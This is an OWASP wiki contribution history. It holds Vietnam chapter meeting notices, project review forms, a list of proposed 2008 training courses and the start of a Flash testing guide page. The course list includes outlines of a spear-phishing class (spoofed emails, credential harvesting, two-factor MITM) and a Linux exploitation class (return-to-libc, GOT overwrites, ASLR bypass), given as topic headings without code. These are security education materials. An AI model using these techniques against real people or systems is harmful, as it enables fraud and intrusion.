OWASP - User contributions [en]

Vietnam

2011-04-20T14:07:13Z

Namn:

{{Chapter Template|chaptername=Vietnam|extra=The chapter leader is [mailto:namn@bluemoon.com.vn Nam Nguyen].

<paypal>Vietnam</paypal>

== Chào mừng bạn đến với OWASP Việt Nam ==

Chào mừng bạn đến với trang mạng của OWASP Việt Nam. Người chịu trách nhiệm chính hiện nay là [mailto:namn@bluemoon.com.vn Nguyễn Thành Nam].

|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Vietnam|emailarchives=http://lists.owasp.org/pipermail/owasp-Vietnam}}

== Tham gia ==

Những buổi giao lưu của nhóm là hoàn toàn miễn phí và mở cửa chào đón mọi người yêu thích an toàn ứng dụng. Chúng tôi khuyến khích các thành viên tham gia trình bày và chia xẻ kiến thức trong những buổi giao lưu. Trước khi tham gia nhóm, xin các bạn vui lòng đọc qua [https://www.owasp.org/index.php/Chapter_Rules những quy định của nhóm].

Để tham gia vào hộp thư chung, vui lòng đến [http://lists.owasp.org/mailman/listinfo/owasp-Vietnam trang chính của hộp thư]. Hộp thư này được dùng để bàn về những buổi giao lưu và sắp xếp nơi giao lưu kế. Bạn cũng có thể xem qua [http://lists.owasp.org/pipermail/owasp-Vietnam kho lưu trữ] của hộp thư này. Xin vui lòng kiểm tra hộp thư này trước khi đến với buổi giao lưu để có được thông tin mới nhất về địa điểm và thời gian.

== Local News - Tin Tức ==

==== 2011-04-29 08:30 Đại học Khoa học Tự nhiên ====

Ngày 29 tháng 04, nhóm OWASP Việt Nam sẽ tổ chức buổi gặp mặt ngoại tuyến.

Thời gian: 08:30 đến 11:30

Địa điểm: phòng C31 , dãy C, trường ĐH Khoa Học Tự Nhiên

Chương trình:

1. Phương pháp phát hiện điểm yếu phần mềm do Nguyễn Thành Nam (CISA, CISSP, CSSLP) trình bày.

2. Phương pháp tấn công kênh phụ do Phan Phụng Tiến (sinh viên ĐH Bách Khoa) trình bày.

3. Quản lý sự kiện an ninh với Splunk do Lê Ngọc Hiếu (trưởng phòng CNTT) trình bày.

Xin trân trọng cảm ơn sự giúp đỡ về chỗ sinh hoạt của khoa Công nghệ thông tin, ĐH Khoa học Tự nhiên, và sự tài trợ bánh, nước của anh Nguyễn Thành Nam.

==== 2010-06-17 08:30 Khách sạn Palace TPHCM ====

Ngày 17 tháng 06, chi hội VNISA phía Nam phối hợp cùng nhóm OWASP Việt Nam sẽ tổ chức hội thảo An ninh ứng dụng web.

Địa điểm: Khách sạn Palace, 56-66 Nguyễn Huệ, quận 1, TPHCM
Thời gian: 08:30 đến 11:30
Chương trình:

1. OWASP Top Ten 2010, do Nguyễn Thành Nam, OWASP Việt Nam, trình bày

2. Tấn công mật mã thực dụng, do Dương Ngọc Thái, DongA Bank, trình bày

3. Quy trình kiểm tra lỗi trong ứng dụng web, do Phạm Kiên Cường, Athena, trình bày

4. Thảo luận

==== 2009-11-28 08:30 Đại Học Bách Khoa TPHCM ====

Gặp mặt cuối cùng của năm:

Địa điểm: Phòng 304, tòa nhà B9, ĐH Bách Khoa TPHCM

Buổi gặp mặt này có sự tham gia thảo luận của các diễn giả sau:

* Thái Ngọc Dung (BKIT Club): Kiến trúc của W3AF

* David Yeo (Ernst & Young): Nguyên tắc đầu tiên của An toàn Thông tin cho ông chủ

* Dương Ngọc Thái (DongA Bank): Kẽ hở xác thực trong SSL/TLS

==== 2009-04-22 08:00 Đại Học Công Nghệ Thông Tin ====

Gặp mặt trao đổi về OWASP và các phương pháp tấn công, bảo vệ ứng dụng Web.

Thông tin chi tiết có thể được xem thêm tại https://lists.owasp.org/pipermail/owasp-vietnam/2009-April/000010.html.

Everyone is welcome to join us at our chapter meetings.

Mọi người được hoan nghênh tham gia những buổi giao lưu của chúng tôi.

[[Category:OWASP Chapter]]

Vietnam

2010-06-15T01:34:07Z

Namn: Hội thảo 17 tháng 06 cùng VNISA

{{Chapter Template|chaptername=Vietnam|extra=The chapter leader is [mailto:namn@bluemoon.com.vn Nam Nguyen].

<paypal>Vietnam</paypal>

== Chào mừng bạn đến với OWASP Việt Nam ==

Chào mừng bạn đến với trang mạng của OWASP Việt Nam. Người chịu trách nhiệm chính hiện nay là [mailto:namn@bluemoon.com.vn Nguyễn Thành Nam].

|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Vietnam|emailarchives=http://lists.owasp.org/pipermail/owasp-Vietnam}}

== Tham gia ==

Những buổi giao lưu của nhóm là hoàn toàn miễn phí và mở cửa chào đón mọi người yêu thích an toàn ứng dụng. Chúng tôi khuyến khích các thành viên tham gia trình bày và chia xẻ kiến thức trong những buổi giao lưu. Trước khi tham gia nhóm, xin các bạn vui lòng đọc qua [https://www.owasp.org/index.php/Chapter_Rules những quy định của nhóm].

Để tham gia vào hộp thư chung, vui lòng đến [http://lists.owasp.org/mailman/listinfo/owasp-Vietnam trang chính của hộp thư]. Hộp thư này được dùng để bàn về những buổi giao lưu và sắp xếp nơi giao lưu kế. Bạn cũng có thể xem qua [http://lists.owasp.org/pipermail/owasp-Vietnam kho lưu trữ] của hộp thư này. Xin vui lòng kiểm tra hộp thư này trước khi đến với buổi giao lưu để có được thông tin mới nhất về địa điểm và thời gian.

== Local News - Tin Tức ==

==== 2010-06-17 08:30 Khách sạn Palace TPHCM ====

Ngày 17 tháng 06, chi hội VNISA phía Nam phối hợp cùng nhóm OWASP Việt Nam sẽ tổ chức hội thảo An ninh ứng dụng web.

Địa điểm: Khách sạn Palace, 56-66 Nguyễn Huệ, quận 1, TPHCM
Thời gian: 08:30 đến 11:30
Chương trình:

1. OWASP Top Ten 2010, do Nguyễn Thành Nam, OWASP Việt Nam, trình bày

2. Tấn công mật mã thực dụng, do Dương Ngọc Thái, DongA Bank, trình bày

3. Quy trình kiểm tra lỗi trong ứng dụng web, do Phạm Kiên Cường, Athena, trình bày

4. Thảo luận

==== 2009-11-28 08:30 Đại Học Bách Khoa TPHCM ====

Gặp mặt cuối cùng của năm:

Địa điểm: Phòng 304, tòa nhà B9, ĐH Bách Khoa TPHCM

Buổi gặp mặt này có sự tham gia thảo luận của các diễn giả sau:

* Thái Ngọc Dung (BKIT Club): Kiến trúc của W3AF

* David Yeo (Ernst & Young): Nguyên tắc đầu tiên của An toàn Thông tin cho ông chủ

* Dương Ngọc Thái (DongA Bank): Kẽ hở xác thực trong SSL/TLS

==== 2009-04-22 08:00 Đại Học Công Nghệ Thông Tin ====

Gặp mặt trao đổi về OWASP và các phương pháp tấn công, bảo vệ ứng dụng Web.

Thông tin chi tiết có thể được xem thêm tại https://lists.owasp.org/pipermail/owasp-vietnam/2009-April/000010.html.

Everyone is welcome to join us at our chapter meetings.

Mọi người được hoan nghênh tham gia những buổi giao lưu của chúng tôi.

[[Category:OWASP Chapter]]

Vietnam

2009-11-25T02:42:20Z

Namn:

Vietnam

2009-04-10T04:35:39Z

Namn: Seminar tại ĐH CNTT

Vietnam

2008-11-27T04:51:33Z

Namn: thông tin về cuộc gặp mặt do open consultant tổ chức

Project Information:template Education Project - Final Review - Second Reviewer - F

2008-11-04T05:35:24Z

Namn: second reviewer's comments

[[Project Information:template Education Project|Clik here to return to the previous page]].

{| style="width:100%" border="0" align="center"
! colspan="3" align="center" style="background:#4058A0; color:white"|'''FINAL REVIEW'''
|-
| style="width:25%; background:white" align="center"|'''PART I'''
| colspan="2" style="width:75%; background:white" align="left"|
|-
| style="width:25%; background:#7B8ABD" align="center"|
Project Deliveries & Objectives
| colspan="2" style="width:75%; background:#cccccc" align="left"|
[[OWASP Summer of Code 2008 Applications#OWASP Education Project|OWASP Education Project's Deliveries & Objectives]]
|-
| style="width:25%; background:#4058A0" align="center"|'''QUESTIONS'''
| colspan="2" style="width:75%; background:#4058A0" align="left"|'''ANSWERS'''
|-
| style="width:25%; background:#7B8ABD" align="center"|
1. At what extent have the project deliveries & objectives been accomplished? Having in consideration [[OWASP Summer of Code 2008 Applications#OWASP Education Project|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
The Bootcamp has not been realized.
|-
| style="width:25%; background:#7B8ABD" align="center"|
2. At what extent have the project deliveries & objectives been accomplished? Having in consideration [[OWASP Summer of Code 2008 Applications#OWASP Education Project|'''the assumed ones''']], please quantify in terms of percentage.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
The first target (i.e. Bootcamp) is at 0%. The second target continues to reach 100%. In general, I would say the project reached its 60% mark.
|-
| style="width:25%; background:#7B8ABD" align="center"|
3. Please do use the right hand side column to provide advice and make work suggestions.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
Project leaders should communicate more on the project's mailing list. I had to keep a watch on various lists such as owasp-leaders in order to pick out the announcement of any new educational material.
|-
| style="width:25%; background:white" align="center"|'''PART II'''
| colspan="2" style="width:75%; background:white" align="left"|
|-
| style="width:25%; background:#7B8ABD" align="center"|
Assessment Criteria
| colspan="2" style="width:75%; background:#cccccc" align="left"|
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]
|-
| style="width:25%; background:#4058A0" align="center"|'''QUESTIONS'''
| colspan="2" style="width:75%; background:#4058A0" align="left"|'''ANSWERS'''
|-
| style="width:25%; background:#7B8ABD" align="center"|
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
None
|-
| style="width:25%; background:#7B8ABD" align="center"|
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
None
|-
| style="width:25%; background:#7B8ABD" align="center"|
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
None
|-
| style="width:25%; background:#7B8ABD" align="center"|
4. Please do use the right hand side column to provide advice and make work suggestions.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
The Bootcamp is a terrific idea, especially when combined with an OWASP Live CD. The project should push for an early completion of the Bootcamp training material. At the moment, the project has gathered a great number of quality materials. Converting, and organizing them to make a one- to two-day Bootcamp would bring tremendous value to the OWASP brand.
|}

Project Information:template Python Static Analysis - Final Review - First Reviewer - D

2008-11-04T05:14:56Z

Namn: first reviewer's comments

[[Project Information:template Python Static Analysis|Clik here to return to the previous page]].

{| style="width:100%" border="0" align="center"
! colspan="3" align="center" style="background:#4058A0; color:white"|'''FINAL REVIEW'''
|-
| style="width:25%; background:white" align="center"|'''PART I'''
| colspan="2" style="width:75%; background:white" align="left"|
|-
| style="width:25%; background:#7B8ABD" align="center"|
Project Deliveries & Objectives
| colspan="2" style="width:75%; background:#cccccc" align="left"|
[[OWASP Summer of Code 2008 Applications#Python Static Analysis|OWASP Python Static Analysis Project's Deliveries & Objectives]]
|-
| style="width:25%; background:#4058A0" align="center"|'''QUESTIONS'''
| colspan="2" style="width:75%; background:#4058A0" align="left"|'''ANSWERS'''
|-
| style="width:25%; background:#7B8ABD" align="center"|
1. At what extent have the project deliveries & objectives been accomplished? Having in consideration [[OWASP Summer of Code 2008 Applications#Python Static Analysis|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
There has been no new update since the last review according to http://code.google.com/p/owasp-python-static-analysis/source/list.
|-
| style="width:25%; background:#7B8ABD" align="center"|
2. At what extent have the project deliveries & objectives been accomplished? Having in consideration [[OWASP Summer of Code 2008 Applications#Python Static Analysis|'''the assumed ones''']], please quantify in terms of percentage.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
No change since last review.
|-
| style="width:25%; background:#7B8ABD" align="center"|
3. Please do use the right hand side column to provide advice and make work suggestions.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
No change since last review.
|-
| style="width:25%; background:white" align="center"|'''PART II'''
| colspan="2" style="width:75%; background:white" align="left"|
|-
| style="width:25%; background:#7B8ABD" align="center"|
Assessment Criteria
| colspan="2" style="width:75%; background:#cccccc" align="left"|
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]
|-
| style="width:25%; background:#4058A0" align="center"|'''QUESTIONS'''
| colspan="2" style="width:75%; background:#4058A0" align="left"|'''ANSWERS'''
|-
| style="width:25%; background:#7B8ABD" align="center"|
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
No. The project is qualified for Alpha release.
|-
| style="width:25%; background:#7B8ABD" align="center"|
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
No installer.
No documents.
No About box.
|-
| style="width:25%; background:#7B8ABD" align="center"|
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
Beta quality has not been reached.
|-
| style="width:25%; background:#7B8ABD" align="center"|
4. Please do use the right hand side column to provide advice and make work suggestions.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
No change since last review in September.
|}

Project Information:template Testing Guide 3.0 - Final Review - First Reviewer - D

2008-10-18T02:48:10Z

Namn:

[[Project Information:template Testing Guide 3.0|Clik here to return to the previous page]].

{| style="width:100%" border="0" align="center"
! colspan="3" align="center" style="background:#4058A0; color:white"|'''FINAL REVIEW'''
|-
| style="width:25%; background:white" align="center"|'''PART I'''
| colspan="2" style="width:75%; background:white" align="left"|
|-
| style="width:25%; background:#7B8ABD" align="center"|
Project Deliveries & Objectives
| colspan="2" style="width:75%; background:#cccccc" align="left"|
[[OWASP Testing Project v3 Roadmap|OWASP Testing Project V3.0 Project's Deliveries & Objectives]]
|-
| style="width:25%; background:#4058A0" align="center"|'''QUESTIONS'''
| colspan="2" style="width:75%; background:#4058A0" align="left"|'''ANSWERS'''
|-
| style="width:25%; background:#7B8ABD" align="center"|
1. At what extent have the project deliveries & objectives been accomplished? Having in consideration [[OWASP Testing Project v3 Roadmap|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
The project has completed all its tasks.
|-
| style="width:25%; background:#7B8ABD" align="center"|
2. At what extent have the project deliveries & objectives been accomplished? Having in consideration [[OWASP Testing Project v3 Roadmap|'''the assumed ones''']], please quantify in terms of percentage.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
100%
|-
| style="width:25%; background:#7B8ABD" align="center"|
3. Please do use the right hand side column to provide advice and make work suggestions.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
A PDF file would be highly appreciated.
|-
| style="width:25%; background:white" align="center"|'''PART II'''
| colspan="2" style="width:75%; background:white" align="left"|
|-
| style="width:25%; background:#7B8ABD" align="center"|
Assessment Criteria
| colspan="2" style="width:75%; background:#cccccc" align="left"|
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]
|-
| style="width:25%; background:#4058A0" align="center"|'''QUESTIONS'''
| colspan="2" style="width:75%; background:#4058A0" align="left"|'''ANSWERS'''
|-
| style="width:25%; background:#7B8ABD" align="center"|
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
None
|-
| style="width:25%; background:#7B8ABD" align="center"|
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
None
|-
| style="width:25%; background:#7B8ABD" align="center"|
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?
| colspan="2" style="width:75%; background:#cccccc" align="left"|
There is not yet any presentation on v3. There is not yet a PDF book. These are all to be completed before the EU Summit 2008.
|-
| style="width:25%; background:#7B8ABD" align="center"|
4. Please do use the right hand side column to provide advice and make work suggestions.
| colspan="2" style="width:75%; background:#cccccc" align="left"|
|}

OWASP EU Summit 2008 Training (Courses to be Approved)

2008-09-17T03:25:20Z

Namn: add Linux Software Exploitation course

The courses listed on this page are to be approved by OWASP Board.

== Source Code Review==

'''Instructor'''

Eoin Keary and Daniel Cuthbert

'''Duration'''

Please enter the text here

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Advanced Phishing and Social Engineering Training==

'''Instructor'''

Joshua Perrymon

'''Duration'''

1 day

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

This class is designed to illustrate hands-on methods used in the real world attacking the human layer. This includes a focus on spear-phishing using the newly introduced OWASP phishing framework (LUNKER). Attendees will identify target emails using a variety of methods, identify potential phish sites, create a spoofed email and send the attack all in a locally ran test environment in Vmware or LiveCD.

Upon completion of this course, attendees will have an in-depth understanding of the latest techniques used to perform these type of attacks. The class will also include additional social engineering attack methods such as impersonation, authority attacks, pre-text attacks, and much more. Advanced topics such as Email Payloads and 2nd Factor token MITM attacks will be covered as well.

1. Introduction to Social Engineering

2. Understanding the Human Aspect of Security

3. Review of aggressively vertical hacking methodology

4. Analysis of attack trending over the years (Up the OSI Model)

5. Review of public Social Engineering Attacks in the media

6. Hands on: Spear Phishing Demo using the Lunker Framework
a. Understanding the Social Engineering Scope of work
b. Setup Client Info
c. Gather Email addresses/targets
d. Identify potential phishing sites
e. Creation of spoofed emails
i. Custom footers
ii. Attack Scenarios
iii. Email header options

f. Test Environment: Review the spoofed email and phishing site

g. Send attack

h. Monitor: Discuss steps to take at this point once the users send in credentials.

i. Advanced Phishing Attacks: Recon, XSS/CSRF/Browser Exploit/Trojan payloads

j. MITM Attacks on 2-factor Authentication

k. Summary

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Web server/services hardening using SELinux ==

'''Instructor'''

Pavol Luptak

'''Duration'''

1 day

'''Summary'''

Security-Enhanced Linux (SELinux) is a FLASK implementation integrated in the Linux kernel with a number of utilities designed to provide mandatory access controls (MAC) through the use of Linux Security Modules (LSM) in the Linux kernel. SELinux generally supports many kinds of mandatory access control policies, including those based on the concepts of type enforcement, role-based access control, and multi-level security.

A Linux kernel integrating SELinux enforces mandatory access control policies that confine user programs and system servers to the minimum amount of privilege they require to do their jobs. This reduces or eliminates the ability of these programs and daemons to cause harm when compromised (via buffer overflows or misconfigurations, for example). This confinement mechanism operates independently of the traditional Linux access control mechanisms. It has no concept of a "root" super-user, and does not share the well-known shortcomings of the traditional Linux security mechanisms (such as a dependence on setuid/setgid binaries).

This training provides basic concepts of SELinux, its differences to classical UNIX/Linux systems, describe security advantages of mandatory access control policies and teach how to effectively and rapidly configure a fully functional LAMP environment on SELinux system.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

1. SELinux history

2. Unix/Linux DAC (Discretionary Access Control) and its problems

3. MAC (Mandatory Access Control)

4. Advantages of using MAC

5. DTE (Domain Type Enforcement) model

6. RBAC (Roles Based Access Control) model

7. MLS (Multi Level Security) model

8. SELinux FLASK Architecture

9. SELinux policy (EXERCISE)

10. File System Security Contexts (EXERCISE)

11. SELinux Object Classes and Permissions

12. TE (Type Enforcement) Rules (Attributes, Type Declaration, Type Transitions, Domain Type Transitions, Object Labeling Transitions, Access Vectors)

13. Understanding AVC, log messages

14. audit2allow and audit2why (EXERCISE)

15. SELinux Troubleshoot Tool (EXERCISE)

16. Auditing and Auditing tools

17. Policy Macros

18. Backtracking rule (EXERCISE)

19. SELinux Users, Roles, MLS Levels

20. Strict Policy

21. Targeted Policy

22. SELinux Booleans and their use for Apache web server (EXERCISE)

23. Files and Directories in Targeted Policy, common SELinux Macros (EXERCISE)

24. Analyzing Example Policy - apache.te (EXERCISE)

25. Assigning Object and Process Types

26. SELinux Booting

27. Copying and moving files, checking security contexts, relabeling a file and directory's security context (EXERCISE)

28. Policy core utilities

29. Managing File Labeling, Relabeling a File System (EXERCISE)

30. SELinux Administrator GUI (EXERCISE)

31. SELinux Modules (EXERCISE)

32. Hardening existing LAMP environments using SELinux (EXERCISE)

33. Writing New Policy for a Daemon (EXERCISE for clever students)

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Java Secure Programming==

'''Instructor'''

Lucas Ferreira

'''Duration'''

Please enter the text here.

'''Summary'''

This training class will present best practices of secure programming in the Java language. It includes Java specific practices (i.e. how to avoid problems that arise from the compilation of Java source code to the bytecode language used by the JVM) and practices that may arise in other programming languages (with exemples in Java). Some tools that may be used to verify the security of Java code and systems will be demonstrated.

The topics include a quick overview of the OWASP Top 10, in order to contextualize the practices presented, and several best practices aimed at the different software layers. At the presentation layer, we focus on input validation, access control issues and dealing with exceptions. At the business objects layer, the practices deal with cloning and serialization issues. Practices to prevent command injection are presented at the persistence layer. Practices that should be used throughout all the software are also presented, including inputa data validation, class and method visibility, using and storing secrets, dealing with inner classes, overflows and boxing, and object initialization.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Advanced Web Application Penetration Testing ==

'''Instructor'''

Aspect Security

'''Duration'''

Please enter the text here.

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Leading, Planning, and Executing an Application Security Initiative==

'''Instructor'''

Aspect Security

'''Duration'''

Please enter the text here.

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Foundations of Web Application Security==

'''Instructor'''

Aspect Security

'''Duration'''

Please enter the text here.

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Secure Coding .NET Web Applications==

'''Instructor'''

Aspect Security

'''Duration'''

Please enter the text here.

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Building Secure Rich Internet Applications==

'''Instructor'''

Aspect Security

'''Duration'''

Please enter the text here.

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Web Application Security - Advanced Attacks and Defense==

'''Instructor'''

Aspect Security

'''Duration'''

Please enter the text here.

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== What Developers Should Know on Web Application Security==

'''Instructor'''

Sebastien Deleersnyder

'''Duration'''

Please enter the text here.

'''Summary'''

Application security is an essential component of any successful project; this includes web applications, open source PHP applications, web services and proprietary business web sites.
Web application security education and awareness is needed throughout the entire development and deployment organization. Each area and level of development or deployment organizations have specific needs and requirements regarding web application security education. A manager needs other information than a security professional or developer. Novices to the profession require other training than people with several years of experience.

The OWASP Education project aims to provide in building blocks of web application security information. These modules can be combined together in education tracks targeting different audiences.
This Education Track provides in a 4 hour session covering what developers should know on web application security. It starts with an explanation of web application security and why it is important. Then the OWASP Top 10 is used to explain the nastiest vulnerabilities and how these can be prevented or re mediated. A secure coding initiative must deal with all stages of a program’s life cycle. Secure web applications are only possible when a secure SDLC is used. The SDLC is explained from the standpoint of people, processes and tools. Particularly for developers good secure development practices are covered in a separate topic. Finally the track finishes with an exhaustive list of web application security resources for web application developers.

'''Audience'''

Web application developers who are unaware there are security issues with contemporary web applications. No prior knowledge of web application security is assumed nor necessary. This track is independent of the coding language or web frameworks used; like PHP, JSF, Java EE or .NET. We must realize that web application developers are only one link - albeit an important one - of the chain that represents the security of a web application. This track aims to make that link as secure as possible, given the constraint of 4 hours. Another important aspect is that web application security should be tailored to the risk profile of an organization and the specific development environment of that organization.

'''Table of Contents'''

The challenge is to cover web application security in 4 hours to a web application developer. This is presented in such a way that the developers will be able to recognize and correct web application vulnerabilities in their projects.

* [[Education Module Why WebAppSec Matters|Why WebAppSec matters]] (20 min) ([http://www.owasp.org/images/5/58/Education_Module_Why_WebAppSec_Matters.ppt direct link])
:This part is the introduction of the track. It identifies the current security problems with web applications. During the introduction a definition of web application security is given. Trends that are influencing the current state of web application insecurity are also explained.
:*What goes wrong
:*WebAppSec Defined
:*Current trends
* [[Education_Module_OWASP_Top_10_Introduction_and_Remedies|OWASP Top 10 Introduction & Remedies]] (90 min) ([http://www.owasp.org/images/b/b8/Education_Module_OWASP_Top_10_Introduction_and_Remedies.ppt direct link])
:The primary aim of the OWASP Top 10 is to educate developers, designers, architects and organizations about the consequences of the most common web application security vulnerabilities. The Top 10 provides basic methods to protect against these vulnerabilities.
:*[[Education Module Cross Site Scripting (XSS)|Cross Site Scripting (XSS)]]
:*Injection Flaws
:*Malicious File Execution
:*Insecure Direct Object Reference
:*Cross Site Request Forgery (CSRF)
:*Information Leakage and Improper Error Handling
:*Broken Authentication and Session Management
:*Insecure Cryptographic Storage
:*Insecure Communications
:*Failure to Restrict URL Access
*[[Education Module Embed within SDLC|Embed within SDLC]] (People, Processes & Tools) (20 min) ([http://www.owasp.org/images/f/f2/Education_Module_Embed_within_SDLC.ppt direct link])
:There is no silver bullet when it comes to securing web applications. This problem has to be addressed from different angles, covering the involved actors, processes: development as well as deployment and Technologies.
:*People Awareness and Education
:*Development WebAppSec Controls
:*Deployment WebAppSec Controls
:*WebAppSec Tools
*[[Education Module Good Secure Development Practices|Good Secure Development Practices]] (70 min) ([http://www.owasp.org/images/5/57/Education_Module_Good_Secure_Development_Practices.ppt direct link])
:Next to the Top 10 remedies this module provides some good secure development practices from the OWASP Guide, covering e.g.
:*Validating User Input
:*Authentication
:*Authorization
:*Session Management
:*Using Interpreters
:*Crypto
:*Catching Errors
:*File System
:*Configuration
:*Web 2.0
*[[Education Module Testing for Vulnerabilities|Testing for Vulnerabilities]] (20 min) ([http://www.owasp.org/images/4/49/Education_Module_Testing_for_Vulnerabilities.ppt direct link])
:One important aspect is to test for application vulnerabilities. During this short module an introduction is provided together with some WebGoat test cases.
:*Testing for application vulnerabilities
:*The OWASP Testing Guide
:*WebGoat demonstrated
*[[Education Module Good WebAppSec Resources|Good WebAppSec Resources]] (not limited to OWASP) (10 min) ([http://www.owasp.org/images/f/fe/Education_Module_Good_WebAppSec_Resources.ppt direct link])
:This 4 hour education track in only the beginning of your journey. Web application security is a moving target. New vulnerabilities and threats are discovered regularly. Web application security controls are becoming mature. The following resources should provide you with enough pointers to serve both as reference and for further research.
:*Hard Copy
:*Web Sites
:*Mailing lists
:*Blogs
*Roundup (10 min)

[[Category:OWASP Education Project]]

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

== Linux Software Exploitation ==

'''Instructor'''

Nam Nguyen

'''Duration'''

2 days

'''Summary'''

This course is a primer into software exploitation on the Linux environment. The course assumes only basic understanding of the Linux commands, and C programming with the standard library. It explains the computer architecture, assembly language then moves on to three basic classes of security bug: buffer overflow, format string, and race condition and methods to take advantage of them. Throughout the course, various examples are introduced with increasing difficulty so that participants will naturally realize the art of software exploitation for themselves.

This course does not discuss about shell coding. Except on one example where provided shell code is used as an illustration, all other challenges require only good analysis and calculation.

The course is conducted as a workshop with heavy interaction between participants and instructor. There will not be any presentation slide. Participants are to take note during the course.

'''Audience'''

Software developers, system administrators, security engineers with some experience in Linux and C programming.

'''Table of Contents'''

# Computer architecture
# Assembly language
# Buffer overflow
# Format string
# Race condition
# Techniques
## Overwrite critical variable
## Overwrite return address
## Return to .text
## Return to libc
## Overwrite .dtors
## Overwrite .got
## Overwrite .bss, functors
## By pass Advanced Space Layout Randomization
# Tools of the trade: IDA, GDB, and Python

'''Course Specifics'''

Bring your own laptop with VMWare Player or equivalent. An VM image will be provided.

== Course Name {template} ==

'''Instructor'''

Please enter the text here.

'''Duration'''

Please enter the text here.

'''Summary'''

Please enter the text here.

'''Audience'''

Please enter the text here.

'''Table of Contents'''

Please enter the text here.

'''Course Specifics'''

Please enter the text here. (i.e. bring your own laptop)

Testing for Cross site flashing (OTG-CLIENT-008)

2008-09-10T07:28:24Z

Namn: /* Html Injection */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with
interactive needs.
ActionScript, like every other language, has some implementation pattern which could lead to
security issues.
 
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.
 

== Description of the Issue ==
 
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player
were released in order to mitigate some of the attacks which will be described.
Nevertheless some issue still remains exploitable because it strongly depends on developer insecure
programming practices.
 

== Gray Box testing and example ==

=== Decompilation ===

Since SWF files are interpreted by a virtual machine embedded in the player itself,
they can be potentially decompiled and analysed.
The most known and free ActionScript 2.0 decompiler is flare.

To decompile a swf file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers in the process of testing because it
moves black box to white box.

There's no free decompiler for ActionScript 3.0 at the moment.

=== Undefined Variables ===

On actionscript 2 entry points are retrieved by looking at every undefined attribute
